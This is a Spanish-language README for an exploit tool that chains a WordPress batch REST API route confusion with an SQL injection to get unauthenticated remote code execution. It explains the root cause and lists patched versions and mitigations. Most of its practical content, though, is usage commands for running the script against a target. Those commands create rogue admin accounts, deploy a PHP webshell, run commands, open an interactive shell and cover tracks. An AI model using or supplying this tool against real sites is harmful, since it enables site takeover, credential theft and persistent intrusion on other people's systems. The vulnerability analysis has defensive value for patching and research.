
WordPress REST API SQLi a RCE PoC (CVE-2026-63030 & CVE-2026-60137)
TL;DR — Un atacante no autenticado puede encadenar un error de enrutamiento por lotes de la API REST de WordPress con una inyección SQL en
WP_Querypara lograr ejecución remota de código completa en una instalación estándar de WordPress — sin plugins, sin cuenta, sin interacción del usuario. Descubierto por Adam Kues (Assetnote / Searchlight Cyber), quien lo llamó wp2shell. Parcheado el 17 de julio de 2026 en 6.9.5, 7.0.2 y 6.8.6.
CVE-2026-63030 es un manejo incorrecto de las sub-solicitudes fallidas en el endpoint de lotes de la API REST de WordPress Core (/wp-json/batch/v1), lo bastante grave como para que una sub-solicitud posterior se despache bajo la ruta equivocada. Por sí solo, es un error lógico. Encadenado con CVE-2026-60137 — una inyección SQL en el parámetro author__not_in de WP_Query — se convierte en ejecución remota de código no autenticada.
WordPress califica CVE-2026-63030 como Crítico y CVE-2026-60137 como Alto; las estimaciones CVSS de terceros varían según el rastreador (aproximadamente 7.5 y 9.1, respectivamente), ya que ninguna puntuación individual captura por completo lo que hace la cadena. Trátalo como crítico independientemente de qué cifra única te muestren: WordPress lo consideró lo bastante grave como para forzar actualizaciones automáticas en todos los sitios afectados.
Causa raíz — desincronización del registro de lotes. Cuando una sub-solicitud de un lote falla la validación, el WP_Error resultante se registra en un array interno $validation[] — pero el array paralelo $matches[] usado para el enrutamiento no se actualiza para coincidir. Esa diferencia de un elemento desplaza cada sub-solicitud posterior una posición: la sub-solicitud N termina despachada con el manejador de ruta destinado a la sub-solicitud N+1.
Omisión de la sanitización. Al ejecutarse bajo un manejador al que nunca fue enrutada, la sub-solicitud se salta la validación de entrada propia de ese manejador — incluidas las comprobaciones de tipo y is_array().
Inyección SQL. Esa diferencia permite que la entrada controlada por el atacante llegue al parámetro author__not_in de WP_Query como una cadena sin procesar en lugar de un array. La protección is_array() que normalmente la rechazaría nunca se ejecuta, por lo que el valor se interpola directamente en una cláusula NOT IN (...).
Camino al compromiso. La inyección es solo SELECT — sin consultas apiladas — pero en hosts donde el usuario de la base de datos tiene privilegio FILE, eso es suficiente para escribir un webshell PHP en la raíz web. Cuando no está disponible, el mismo punto de inyección puede, en su lugar, volcar la tabla wp_users de forma ciega/UNION para obtener hashes de contraseñas de administradores. De cualquier manera: no se requiere cuenta, plugin ni interacción del usuario.
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
end
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
GHSA-ff9f-jf42-662q (confusión de ruta) · GHSA-fpp7-x2x2-2mjf (SQLi)CVE-2026-63030) — reportada por Adam Kues de Assetnote / Searchlight Cyber a través del programa HackerOne de WordPress.CVE-2026-60137) — reportada por separado, como equipo, por TF1T, dtro y haongo.6.9.5, 7.0.2, 6.8.6 o posterior — la única solución completa. WordPress activó actualizaciones automáticas forzadas para los sitios afectados; confirma que la tuya se aplicó realmente en lugar de asumirlo./wp-json/batch/v1 como ?rest_route=/batch/v1. Solo es una medida de emergencia — esto puede romper el uso legítimo de la API de lotes (p. ej., la edición basada en bloques) y no sustituye al parcheo.| Versión de WordPress | SQLi (CVE-2026-60137) | Confusión de ruta (CVE-2026-63030) | Riesgo real |
|---|
| < 6.8.0 | — | — | No afectado |
| 6.8.0 – 6.8.5 | ✅ | — | Solo SQLi — necesita un plugin/tema para pasar entrada no confiable a author__not_in; no es alcanzable pre-autenticación solo con el núcleo. Parchea de todos modos. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | RCE no autenticado |
| 7.0.0 – 7.0.1 | ✅ | ✅ | RCE no autenticado |
| 7.1 Beta 1 | ✅ | ✅ | RCE no autenticado (canal beta) |